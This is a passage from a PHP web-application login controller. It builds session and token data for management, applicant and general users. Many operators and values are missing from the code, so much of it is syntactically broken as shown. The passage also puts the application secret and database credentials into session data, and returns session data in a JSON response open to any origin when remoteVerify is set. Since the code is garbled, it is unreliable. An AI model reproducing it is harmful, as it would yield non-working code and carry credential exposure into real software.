  4917.                     $filtered_pos_array = [];
  4918.                     foreach ($position_list_array as $defPos)
  4919.                         if ($defPos != '' && $defPos != 0)
  4920.                             $filtered_pos_array[] = $defPos;
  4921.                     $position_list_array $filtered_pos_array;
  4922.                     if (!empty($position_list_array))
  4923.                         foreach ($position_list_array as $defPos)
  4924.                             if ($defPos != '' && $defPos != && $curr_position_id == 0) {
  4925.                                 $curr_position_id $defPos;
  4926.                             }
  4927.                     $userDefaultRoute $user->getDefaultRoute();
  4928. //                    $userDefaultRoute = 'MATHA';
  4929.                     $allModuleAccessFlag 1;
  4930.                     if ($userDefaultRoute == "" || $userDefaultRoute == null)
  4931.                         $userDefaultRoute '';
  4932. //                    $route_list_array = Position::getUserRouteArray($this->getDoctrine()->getManager(), $curr_position_id, $userId);
  4933.                     $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  4934.                     if (isset($companyList[$userCompanyId])) {
  4935.                         $company_name_list[$userCompanyId] = $companyList[$userCompanyId]['name'];
  4936.                         $company_image_list[$userCompanyId] = $companyList[$userCompanyId]['image'];
  4937.                         $company_dark_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['dark_vibrant'];
  4938.                         $company_light_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['light_vibrant'];
  4939.                         $company_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['vibrant'];
  4940.                     }
  4941.                     if ($allModuleAccessFlag == 1)
  4942.                         $prohibit_list_array = [];
  4943.                     else if ($curr_position_id != 0)
  4944.                         $prohibit_list_array Position::getUserProhibitRouteArray($this->getDoctrine()->getManager(), $curr_position_id$user->getUserId());
  4945.                     $loginID $this->get('user_module')->addUserLoginLog(
  4946.                         $userId,
  4947.                         $request->server->get("REMOTE_ADDR"),
  4948.                         $curr_position_id
  4949.                     );
  4950.                     $appIdList json_decode($user->getUserAppIdList());
  4951.                     $branchIdList json_decode($user->getUserBranchIdList());
  4952.                     if ($branchIdList == null$branchIdList = [];
  4953.                     $branchId $user->getUserBranchId();
  4954.                     if ($appIdList == null$appIdList = [];
  4955. //
  4956. //                    if (!in_array($user->getUserAppId(), $appIdList))
  4957. //                        $appIdList[] = $user->getUserAppId();
  4958. //
  4959. //                    foreach ($appIdList as $currAppId) {
  4960. //                        if ($currAppId == $user->getUserAppId()) {
  4961. //
  4962. //                            foreach ($company_id_list as $index_company => $company_id) {
  4963. //                                $companyIdListByAppId[$currAppId][] = $currAppId . '_' . $company_id;
  4964. //                                $app_company_index = $currAppId . '_' . $company_id;
  4965. //                                $companyNameListByAppId[$app_company_index] = $company_name_list[$company_id];
  4966. //                                $companyImageListByAppId[$app_company_index] = $company_image_list[$company_id];
  4967. //                            }
  4968. //                        } else {
  4969. //
  4970. //                            $dataToConnect = System::changeDoctrineManagerByAppId(
  4971. //                                $this->getDoctrine()->getManager('company_group'),
  4972. //                                $gocEnabled,
  4973. //                                $currAppId
  4974. //                            );
  4975. //                            if (!empty($dataToConnect)) {
  4976. //                                $connector = $this->container->get('application_connector');
  4977. //                                $connector->resetConnection(
  4978. //                                    'default',
  4979. //                                    $dataToConnect['dbName'],
  4980. //                                    $dataToConnect['dbUser'],
  4981. //                                    $dataToConnect['dbPass'],
  4982. //                                    $dataToConnect['dbHost'],
  4983. //                                    $reset = true
  4984. //                                );
  4985. //                                $em = $this->getDoctrine()->getManager();
  4986. //
  4987. //                                $companyList = Company::getCompanyListWithImage($em);
  4988. //                                foreach ($companyList as $c => $dta) {
  4989. //                                    //                                $company_id_list[]=$c;
  4990. //                                    //                                $company_name_list[$c] = $companyList[$c]['name'];
  4991. //                                    //                                $company_image_list[$c] = $companyList[$c]['image'];
  4992. //                                    $companyIdListByAppId[$currAppId][] = $currAppId . '_' . $c;
  4993. //                                    $app_company_index = $currAppId . '_' . $c;
  4994. //                                    $companyNameListByAppId[$app_company_index] = $companyList[$c]['name'];
  4995. //                                    $companyImageListByAppId[$app_company_index] = $companyList[$c]['image'];
  4996. //                                }
  4997. //                            }
  4998. //                        }
  4999. //                    }
  5000.                 } else if ($userType == UserConstants::USER_TYPE_MANAGEMENT_USER) {
  5001.                     // General User
  5002.                     $employeeId 0;
  5003.                     $currentMonthHolidayList = [];
  5004.                     $currentHolidayCalendarId 0;
  5005.                     $employeeObj $em->getRepository('ApplicationBundle\\Entity\\Employee')
  5006.                         ->findOneBy(
  5007.                             array(
  5008.                                 'userId' => $user->getUserId()
  5009.                             )
  5010.                         );
  5011.                     if ($employeeObj) {
  5012.                         $employeeId $employeeObj->getEmployeeId();
  5013.                         $holidayListObj HumanResource::getFilteredHolidaysSingle($em, ['employeeId' => $employeeId], $employeeObjtrue);
  5014.                         $currentMonthHolidayList $holidayListObj['filteredData']['holidayList'];
  5015.                         $currentHolidayCalendarId $holidayListObj['calendarId'];
  5016.                     }
  5017.                     $session->set(UserConstants::USER_EMPLOYEE_IDstrval($employeeId));
  5018.                     $session->set(UserConstants::USER_HOLIDAY_LIST_CURRENT_MONTHjson_encode($currentMonthHolidayList));
  5019.                     $session->set(UserConstants::USER_HOLIDAY_CALENDAR_ID$currentHolidayCalendarId);
  5020.                     $session->set(UserConstants::USER_ID$user->getUserId());
  5021.                     $session->set(UserConstants::LAST_SETTINGS_UPDATED_TSstrval($user->getLastSettingsUpdatedTs()));
  5022.                     $session->set(UserConstants::USER_TYPEUserConstants::USER_TYPE_MANAGEMENT_USER);
  5023.                     $session->set(UserConstants::USER_EMAIL$user->getEmail());
  5024.                     $session->set(UserConstants::USER_IMAGE$user->getImage());
  5025.                     $session->set(UserConstants::USER_NAME$user->getName());
  5026.                     $session->set(UserConstants::USER_DEFAULT_ROUTE$user->getDefaultRoute());
  5027.                     $session->set(UserConstants::USER_COMPANY_ID$user->getUserCompanyId());
  5028.                     $session->set(UserConstants::USER_COMPANY_ID_LISTjson_encode($company_id_list));
  5029.                     $session->set(UserConstants::USER_COMPANY_NAME_LISTjson_encode($company_name_list));
  5030.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode($company_image_list));
  5031.                     $session->set('userCompanyDarkVibrantList'json_encode($company_dark_vibrant_list));
  5032.                     $session->set('userCompanyVibrantList'json_encode($company_vibrant_list));
  5033.                     $session->set('userCompanyLightVibrantList'json_encode($company_light_vibrant_list));
  5034.                     $session->set(UserConstants::USER_APP_ID$user->getUserAppId());
  5035.                     $session->set(UserConstants::USER_POSITION_LIST$user->getPositionIds());
  5036.                     $session->set(UserConstants::ALL_MODULE_ACCESS_FLAG$user->getAllModuleAccessFlag());
  5037.                     $session->set(UserConstants::SESSION_SALTuniqid(mt_rand()));
  5038.                     $session->set(UserConstants::APPLICATION_SECRET$this->container->getParameter('secret'));
  5039.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  5040.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  5041.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  5042.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  5043.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  5044.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  5045.                     $session->set(UserConstants::USER_NOTIFICATION_ENABLEDGeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0);
  5046.                     $session->set(UserConstants::USER_NOTIFICATION_SERVER$this->getParameter('notification_server'));
  5047.                     if (count(json_decode($user->getPositionIds(), true)) > 1) {
  5048.                         return $this->redirectToRoute("user_login_position");
  5049.                     } else {
  5050.                         $PL json_decode($user->getPositionIds(), true);
  5051.                         $route_list_array Position::getUserRouteArray($this->getDoctrine()->getManager(), $PL[0], $user->getUserId());
  5052.                         $session->set(UserConstants::USER_CURRENT_POSITION$PL[0]);
  5053.                         $loginID $this->get('user_module')->addUserLoginLog(
  5054.                             $session->get(UserConstants::USER_ID),
  5055.                             $request->server->get("REMOTE_ADDR"),
  5056.                             $PL[0]
  5057.                         );
  5058.                         $session->set(UserConstants::USER_LOGIN_ID$loginID);
  5059.                         //                    $session->set(UserConstants::USER_LOGIN_ID, $loginID);
  5060.                         $session->set(UserConstants::USER_GOC_ID$gocId);
  5061.                         $session->set(UserConstants::USER_DB_NAME$gocDbName);
  5062.                         $session->set(UserConstants::USER_DB_USER$gocDbUser);
  5063.                         $session->set(UserConstants::USER_DEFAULT_ROUTE$user->getDefaultRoute());
  5064.                         $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  5065.                         $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  5066.                         $session->set(UserConstants::USER_ROUTE_LISTjson_encode($route_list_array));
  5067.                         $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  5068.                         $appIdList json_decode($user->getUserAppIdList());
  5069.                         if ($appIdList == null$appIdList = [];
  5070.                         $companyIdListByAppId = [];
  5071.                         $companyNameListByAppId = [];
  5072.                         $companyImageListByAppId = [];
  5073.                         if (!in_array($user->getUserAppId(), $appIdList))
  5074.                             $appIdList[] = $user->getUserAppId();
  5075.                         foreach ($appIdList as $currAppId) {
  5076.                             if ($currAppId == $user->getUserAppId()) {
  5077.                                 foreach ($company_id_list as $index_company => $company_id) {
  5078.                                     $companyIdListByAppId[$currAppId][] = $currAppId '_' $company_id;
  5079.                                     $app_company_index $currAppId '_' $company_id;
  5080.                                     $companyNameListByAppId[$app_company_index] = $company_name_list[$company_id];
  5081.                                     $companyImageListByAppId[$app_company_index] = $company_image_list[$company_id];
  5082.                                 }
  5083.                             } else {
  5084.                                 $dataToConnect System::changeDoctrineManagerByAppId(
  5085.                                     $this->getDoctrine()->getManager('company_group'),
  5086.                                     $gocEnabled,
  5087.                                     $currAppId
  5088.                                 );
  5089.                                 if (!empty($dataToConnect)) {
  5090.                                     $connector $this->container->get('application_connector');
  5091.                                     $connector->resetConnection(
  5092.                                         'default',
  5093.                                         $dataToConnect['dbName'],
  5094.                                         $dataToConnect['dbUser'],
  5095.                                         $dataToConnect['dbPass'],
  5096.                                         $dataToConnect['dbHost'],
  5097.                                         $reset true
  5098.                                     );
  5099.                                     $em $this->getDoctrine()->getManager();
  5100.                                     $companyList Company::getCompanyListWithImage($em);
  5101.                                     foreach ($companyList as $c => $dta) {
  5102.                                         //                                $company_id_list[]=$c;
  5103.                                         //                                $company_name_list[$c] = $companyList[$c]['name'];
  5104.                                         //                                $company_image_list[$c] = $companyList[$c]['image'];
  5105.                                         $companyIdListByAppId[$currAppId][] = $currAppId '_' $c;
  5106.                                         $app_company_index $currAppId '_' $c;
  5107.                                         $company_locale $companyList[$c]['locale'];
  5108.                                         $companyNameListByAppId[$app_company_index] = $companyList[$c]['name'];
  5109.                                         $companyImageListByAppId[$app_company_index] = $companyList[$c]['image'];
  5110.                                     }
  5111.                                 }
  5112.                             }
  5113.                         }
  5114.                         $session->set('appIdList'$appIdList);
  5115.                         $session->set('companyIdListByAppId'$companyIdListByAppId);
  5116.                         $session->set('companyNameListByAppId'$companyNameListByAppId);
  5117.                         $session->set('companyImageListByAppId'$companyImageListByAppId);
  5118.                         $branchIdList json_decode($user->getUserBranchIdList());
  5119.                         $branchId $user->getUserBranchId();
  5120.                         $session->set('branchIdList'$branchIdList);
  5121.                         $session->set('branchId'$branchId);
  5122.                         if ($user->getAllModuleAccessFlag() == 1)
  5123.                             $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode([]));
  5124.                         else
  5125.                             $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode(Position::getUserProhibitRouteArray($this->getDoctrine()->getManager(), $PL[0], $user->getUserId())));
  5126.                         $session_data = array(
  5127.                             UserConstants::USER_ID => $session->get(UserConstants::USER_ID),
  5128.                             UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  5129.                             UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  5130.                             'oAuthToken' => $session->get('oAuthToken'),
  5131.                             'locale' => $session->get('locale'),
  5132.                             'firebaseToken' => $session->get('firebaseToken'),
  5133.                             'token' => $session->get('token'),
  5134.                             'firstLogin' => $firstLogin,
  5135.                             'BUDDYBEE_BALANCE' => $session->get('BUDDYBEE_BALANCE'),
  5136.                             'BUDDYBEE_COIN_BALANCE' => $session->get('BUDDYBEE_COIN_BALANCE'),
  5137.                             UserConstants::IS_BUDDYBEE_RETAILER => $session->get(UserConstants::IS_BUDDYBEE_RETAILER),
  5138.                             UserConstants::BUDDYBEE_RETAILER_LEVEL => $session->get(UserConstants::BUDDYBEE_RETAILER_LEVEL),
  5139.                             UserConstants::BUDDYBEE_ADMIN_LEVEL => $session->get(UserConstants::BUDDYBEE_ADMIN_LEVEL),
  5140.                             UserConstants::IS_BUDDYBEE_MODERATOR => $session->get(UserConstants::IS_BUDDYBEE_MODERATOR),
  5141.                             UserConstants::IS_BUDDYBEE_ADMIN => $session->get(UserConstants::IS_BUDDYBEE_ADMIN),
  5142.                             UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID),
  5143.                             UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL),
  5144.                             UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE),
  5145.                             UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE),
  5146.                             'oAuthImage' => $session->get('oAuthImage'),
  5147.                             UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE),
  5148.                             UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME),
  5149.                             UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID),
  5150.                             UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST),
  5151.                             UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST),
  5152.                             UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST),
  5153.                             UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID),
  5154.                             UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID),
  5155.                             UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION),
  5156.                             UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID),
  5157.                             UserConstants::SESSION_SALT => $session->get(UserConstants::SESSION_SALT),
  5158.                             UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET),
  5159.                             UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST),
  5160.                             'userCompanyDarkVibrantList' => $session->get('userCompanyDarkVibrantList', []),
  5161.                             'userCompanyVibrantList' => $session->get('userCompanyVibrantList', []),
  5162.                             'userCompanyLightVibrantList' => $session->get('userCompanyLightVibrantList', []),
  5163.                             UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG),
  5164.                             UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID),
  5165.                             UserConstants::USER_DB_NAME => $session->get(UserConstants::USER_DB_NAME),
  5166.                             UserConstants::USER_DB_USER => $session->get(UserConstants::USER_DB_USER),
  5167.                             UserConstants::USER_DB_HOST => $session->get(UserConstants::USER_DB_HOST),
  5168.                             UserConstants::USER_DB_PASS => $session->get(UserConstants::USER_DB_PASS),
  5169.                             UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE),
  5170.                             UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  5171.                             UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  5172.                             //new
  5173.                             'appIdList' => $session->get('appIdList'),
  5174.                             'branchIdList' => $session->get('branchIdList'null),
  5175.                             'branchId' => $session->get('branchId'null),
  5176.                             'companyIdListByAppId' => $session->get('companyIdListByAppId'),
  5177.                             'companyNameListByAppId' => $session->get('companyNameListByAppId'),
  5178.                             'companyImageListByAppId' => $session->get('companyImageListByAppId'),
  5179.                         );
  5180.                         $session_data $this->filterClientSessionData($session_data);
  5181.                         $tokenData MiscActions::CreateTokenFromSessionData($em_goc$session_data);
  5182.                         $session_data $tokenData['sessionData'];
  5183.                         $token $tokenData['token'];
  5184.                         $session->set('token'$token);
  5185.                         if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  5186.                             $session->set('remoteVerified'1);
  5187.                             $response = new JsonResponse(array(
  5188.                                 'uid' => $session->get(UserConstants::USER_ID),
  5189.                                 'session' => $session,
  5190.                                 'token' => $token,
  5191.                                 'success' => true,
  5192.                                 'session_data' => $session_data,
  5193.                             ));
  5194.                             $response->headers->set('Access-Control-Allow-Origin''*');
  5195.                             return $response;
  5196.                         }
  5197.                         if (!empty($session->get('LAST_REQUEST_URI_BEFORE_LOGIN'))) {
  5198.                             if (strripos($session->get('REQUEST_URI'), 'select_data') === false) {
  5199.                                 if ($session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != '' && $session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != null) {
  5200.                                     $red $session->get('LAST_REQUEST_URI_BEFORE_LOGIN');
  5201.                                     $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  5202.                                     return $this->redirect($red);
  5203.                                 }
  5204.                             } else {
  5205.                                 $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  5206.                             }
  5207.                         } else if ($user->getDefaultRoute() == "" || $user->getDefaultRoute() == "")
  5208.                             return $this->redirectToRoute("dashboard");
  5209.                         else
  5210.                             return $this->redirectToRoute($user->getDefaultRoute());
  5211. //                        if ($request->server->has("HTTP_REFERER")) {
  5212. //                            if ($request->server->get('HTTP_REFERER') != '/' && $request->server->get('HTTP_REFERER') != ''  && $request->server->get('HTTP_REFERER') != null) {
  5213. //                                return $this->redirect($request->request->get('HTTP_REFERER'));
  5214. //                            }
  5215. //                        }
  5216. //
  5217. //                        //                    $request->server->get("REMOTE_ADDR"), $PL[0]);
  5218. //                        if ($request->request->has('referer_path')) {
  5219. //                            if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '' && $request->request->get('referer_path') != null) {
  5220. //                                return $this->redirect($request->request->get('referer_path'));
  5221. //                            }
  5222. //                        }
  5223. //                        //                    if($request->request->has('gocId')
  5224. //
  5225. //                        if ($user->getDefaultRoute() == "" || $user->getDefaultRoute() == "")
  5226. //                            return $this->redirectToRoute("dashboard");
  5227. //                        else
  5228. //                            return $this->redirectToRoute($user->getDefaultRoute());
  5229.                     }
  5230.                 } else if ($userType == UserConstants::USER_TYPE_APPLICANT) {
  5231.                     $applicantId $user->getApplicantId();
  5232.                     $userId $user->getApplicantId();
  5233.                     $globalId $user->getApplicantId();
  5234.                     $lastSettingsUpdatedTs $user->getLastSettingsUpdatedTs();
  5235.                     $isConsultant $user->getIsConsultant() == 0;
  5236.                     $isRetailer $user->getIsRetailer() == 0;
  5237.                     $retailerLevel $user->getRetailerLevel() == 0;
  5238.                     $adminLevel $user->getIsAdmin() == ? (($user->getAdminLevel() != null && $user->getAdminLevel() != 0) ? $user->getAdminLevel() : 1) : ($user->getIsModerator() == 0);
  5239.                     $isModerator $user->getIsModerator() == 0;
  5240.                     $isAdmin $user->getIsAdmin() == 0;
  5241.                     $userEmail $user->getOauthEmail();
  5242.                     $userImage $user->getImage();
  5243.                     $userFullName $user->getFirstName() . ' ' $user->getLastName();
  5244.                     $triggerResetPassword $user->getTriggerResetPassword() == 0;
  5245.                     $isEmailVerified $user->getIsEmailVerified() == 0;
  5246.                     $buddybeeBalance $user->getAccountBalance();
  5247.                     $buddybeeCoinBalance $user->getSessionCountBalance();
  5248.                     $userDefaultRoute 'applicant_dashboard';
  5249. //            $userAppIds = json_decode($user->getUserAppIds(), true);
  5250.                     $userAppIds = [];
  5251.                     $userSuspendedAppIds json_decode($user->getUserSuspendedAppIds(), true);
  5252.                     $userTypesByAppIds json_decode($user->getUserTypesByAppIds(), true);
  5253.                     if ($userAppIds == null$userAppIds = [];
  5254.                     if ($userSuspendedAppIds == null$userSuspendedAppIds = [];
  5255.                     if ($userTypesByAppIds == null$userTypesByAppIds = [];
  5256.                     foreach ($userTypesByAppIds as $aid => $accData)
  5257.                         if (in_array($aid$userSuspendedAppIds))
  5258.                             unset($userTypesByAppIds[$aid]);
  5259.                         else
  5260.                             $userAppIds[] = $aid;
  5261. //                    $userAppIds=array_diff($userAppIds,$userSuspendedAppIds);
  5262.                     if ($user->getOAuthEmail() == '' || $user->getOAuthEmail() == null$currRequiredPromptFields[] = 'email';
  5263.                     if ($user->getPhone() == '' || $user->getPhone() == null$currRequiredPromptFields[] = 'phone';
  5264.                     if ($user->getCurrentCountryId() == '' || $user->getCurrentCountryId() == null || $user->getCurrentCountryId() == 0$currRequiredPromptFields[] = 'currentCountryId';
  5265.                     if ($user->getPreferredConsultancyTopicCountryIds() == '' || $user->getPreferredConsultancyTopicCountryIds() == null || $user->getPreferredConsultancyTopicCountryIds() == '[]'$currRequiredPromptFields[] = 'preferredConsultancyTopicCountryIds';
  5266.                     if ($user->getIsConsultant() == && ($user->getPreferredTopicIdsAsConsultant() == '' || $user->getPreferredTopicIdsAsConsultant() == null || $user->getPreferredTopicIdsAsConsultant() == '[]')) $currRequiredPromptFields[] = 'preferredTopicIdsAsConsultant';
  5267.                     $loginID MiscActions::addEntityUserLoginLog(
  5268.                         $em_goc,
  5269.                         $userId,
  5270.                         $applicantId,
  5271.                         1,
  5272.                         $request->server->get("REMOTE_ADDR"),
  5273.                         0,
  5274.                         $request->request->get('deviceId'''),
  5275.                         $request->request->get('oAuthToken'''),
  5276.                         $request->request->get('oAuthType'''),
  5277.                         $request->request->get('locale'''),
  5278.                         $request->request->get('firebaseToken''')
  5279.                     );
  5280.                 } else if ($userType == UserConstants::USER_TYPE_GENERAL) {
  5281.                     // General User
  5282.                     $employeeObj $em->getRepository('ApplicationBundle\\Entity\\Employee')
  5283.                         ->findOneBy(
  5284.                             array(
  5285.                                 'userId' => $user->getUserId()
  5286.                             )
  5287.                         );
  5288.                     if ($employeeObj) {
  5289.                         $employeeId $employeeObj->getEmployeeId();
  5290.                         $holidayListObj HumanResource::getFilteredHolidaysSingle($em, ['employeeId' => $employeeId], $employeeObjtrue);
  5291.                         $currentMonthHolidayList $holidayListObj['filteredData']['holidayList'];
  5292.                         $currentHolidayCalendarId $holidayListObj['calendarId'];
  5293.                     }
  5294.                     $currentTask $em->getRepository('ApplicationBundle\\Entity\\TaskLog')
  5295.                         ->findOneBy(
  5296.                             array(
  5297.                                 'userId' => $user->getUserId(),
  5298.                                 'workingStatus' => 1
  5299.                             )
  5300.                         );
  5301.                     if ($currentTask) {
  5302.                         $currentTaskId $currentTask->getId();
  5303.                         $currentPlanningItemId $currentTask->getPlanningItemId();
  5304.                     }
  5305.                     $userId $user->getUserId();
  5306.                     $userCompanyId 1;
  5307.                     $lastSettingsUpdatedTs $user->getLastSettingsUpdatedTs();
  5308.                     $userEmail $user->getEmail();
  5309.                     $userImage $user->getImage();
  5310.                     $userFullName $user->getName();
  5311.                     $triggerResetPassword $user->getTriggerResetPassword() == 0;
  5312.                     $isEmailVerified $user->getIsEmailVerified() == 0;
  5313.                     $position_list_array json_decode($user->getPositionIds(), true);
  5314.                     if ($position_list_array == null$position_list_array = [];
  5315.                     $filtered_pos_array = [];
  5316.                     foreach ($position_list_array as $defPos)
  5317.                         if ($defPos != '' && $defPos != 0)
  5318.                             $filtered_pos_array[] = $defPos;
  5319.                     $position_list_array $filtered_pos_array;
  5320.                     if (!empty($position_list_array))
  5321.                         foreach ($position_list_array as $defPos)
  5322.                             if ($defPos != '' && $defPos != && $curr_position_id == 0) {
  5323.                                 $curr_position_id $defPos;
  5324.                             }
  5325.                     $userDefaultRoute $user->getDefaultRoute();
  5326.                     $allModuleAccessFlag $user->getAllModuleAccessFlag() == 0;
  5327.                     if ($userDefaultRoute == "" || $userDefaultRoute == null)
  5328.                         $userDefaultRoute 'dashboard';
  5329.                     $route_list_array Position::getUserRouteArray($this->getDoctrine()->getManager(), $curr_position_id$userId);
  5330.                     $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  5331.                     if (isset($companyList[$userCompanyId])) {
  5332.                         $company_name_list[$userCompanyId] = $companyList[$userCompanyId]['name'];
  5333.                         $company_image_list[$userCompanyId] = $companyList[$userCompanyId]['image'];
  5334.                         $company_dark_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['dark_vibrant'];
  5335.                         $company_light_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['light_vibrant'];
  5336.                         $company_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['vibrant'];
  5337.                     }
  5338.                     if ($allModuleAccessFlag == 1)
  5339.                         $prohibit_list_array = [];
  5340.                     else if ($curr_position_id != 0)
  5341.                         $prohibit_list_array Position::getUserProhibitRouteArray($this->getDoctrine()->getManager(), $curr_position_id$user->getUserId());
  5342.                     $loginID $this->get('user_module')->addUserLoginLog(
  5343.                         $userId,
  5344.                         $request->server->get("REMOTE_ADDR"),
  5345.                         $curr_position_id
  5346.                     );
  5347.                     $appIdList json_decode($user->getUserAppIdList());
  5348.                     $branchIdList json_decode($user->getUserBranchIdList());
  5349.                     if ($branchIdList == null$branchIdList = [];
  5350.                     $branchId $user->getUserBranchId();
  5351.                     if ($appIdList == null$appIdList = [];
  5352.                     if (!in_array($user->getUserAppId(), $appIdList))
  5353.                         $appIdList[] = $user->getUserAppId();
  5354.                     foreach ($appIdList as $currAppId) {
  5355.                         if ($currAppId == $user->getUserAppId()) {
  5356.                             foreach ($company_id_list as $index_company => $company_id) {
  5357.                                 $companyIdListByAppId[$currAppId][] = $currAppId '_' $company_id;
  5358.                                 $app_company_index $currAppId '_' $company_id;
  5359.                                 $companyNameListByAppId[$app_company_index] = $company_name_list[$company_id];
  5360.                                 $companyImageListByAppId[$app_company_index] = $company_image_list[$company_id];
  5361.                             }
  5362.                         } else {
  5363.                             $dataToConnect System::changeDoctrineManagerByAppId(
  5364.                                 $this->getDoctrine()->getManager('company_group'),
  5365.                                 $gocEnabled,
  5366.                                 $currAppId
  5367.                             );
  5368.                             if (!empty($dataToConnect)) {
  5369.                                 $connector $this->container->get('application_connector');
  5370.                                 $connector->resetConnection(
  5371.                                     'default',
  5372.                                     $dataToConnect['dbName'],
  5373.                                     $dataToConnect['dbUser'],
  5374.                                     $dataToConnect['dbPass'],
  5375.                                     $dataToConnect['dbHost'],
  5376.                                     $reset true
  5377.                                 );
  5378.                                 $em $this->getDoctrine()->getManager();
  5379.                                 $companyList Company::getCompanyListWithImage($em);
  5380.                                 foreach ($companyList as $c => $dta) {
  5381.                                     //                                $company_id_list[]=$c;
  5382.                                     //                                $company_name_list[$c] = $companyList[$c]['name'];
  5383.                                     //                                $company_image_list[$c] = $companyList[$c]['image'];
  5384.                                     $companyIdListByAppId[$currAppId][] = $currAppId '_' $c;
  5385.                                     $app_company_index $currAppId '_' $c;
  5386.                                     $company_locale $companyList[$c]['locale'];
  5387.                                     $companyNameListByAppId[$app_company_index] = $companyList[$c]['name'];
  5388.                                     $companyImageListByAppId[$app_company_index] = $companyList[$c]['image'];
  5389.                                 }
  5390.                             }
  5391.                         }
  5392.                     }
  5393.                     if (count($position_list_array) > 1) {
  5394.                         $userForcedRoute 'user_login_position';
  5395. //                        return $this->redirectToRoute("user_login_position");
  5396.                     } else {
  5397.                     }
  5398.                 }
  5399.                 if ($userType == UserConstants::USER_TYPE_APPLICANT ||
  5400.                     $userType == UserConstants::USER_TYPE_GENERAL ||
  5401.                     $userType == UserConstants::USER_TYPE_SYSTEM
  5402.                 ) {
  5403.                     $session_data = array(
  5404.                         UserConstants::USER_ID => $userId,
  5405.                         UserConstants::USER_EMPLOYEE_ID => $employeeId,
  5406.                         UserConstants::APPLICANT_ID => $applicantId,
  5407.                         UserConstants::USER_CURRENT_TASK_ID => $currentTaskId,
  5408.                         UserConstants::USER_CURRENT_PLANNING_ITEM_ID => $currentPlanningItemId,
  5409.                         UserConstants::USER_HOLIDAY_LIST_CURRENT_MONTH => json_encode($currentMonthHolidayList),
  5410.                         UserConstants::USER_HOLIDAY_CALENDAR_ID => $currentHolidayCalendarId,
  5411.                         UserConstants::SUPPLIER_ID => $supplierId,
  5412.                         UserConstants::CLIENT_ID => $clientId,
  5413.                         UserConstants::USER_TYPE => $userType,
  5414.                         UserConstants::LAST_SETTINGS_UPDATED_TS => $lastSettingsUpdatedTs == null $lastSettingsUpdatedTs,
  5415.                         UserConstants::IS_CONSULTANT => $isConsultant,
  5416.                         UserConstants::IS_BUDDYBEE_RETAILER => $isRetailer,
  5417.                         UserConstants::BUDDYBEE_RETAILER_LEVEL => $retailerLevel,
  5418.                         UserConstants::BUDDYBEE_ADMIN_LEVEL => $adminLevel,
  5419.                         UserConstants::IS_BUDDYBEE_MODERATOR => $isModerator,
  5420.                         UserConstants::IS_BUDDYBEE_ADMIN => $isAdmin,
  5421.                         UserConstants::USER_EMAIL => $userEmail == null "" $userEmail,
  5422.                         UserConstants::USER_IMAGE => $userImage == null "" $userImage,
  5423.                         UserConstants::USER_NAME => $userFullName,
  5424.                         UserConstants::USER_DEFAULT_ROUTE => $userDefaultRoute,
  5425.                         UserConstants::USER_COMPANY_ID => $userCompanyId,
  5426.                         UserConstants::USER_COMPANY_ID_LIST => json_encode($company_id_list),
  5427.                         UserConstants::USER_COMPANY_NAME_LIST => json_encode($company_name_list),
  5428.                         UserConstants::USER_COMPANY_IMAGE_LIST => json_encode($company_image_list),
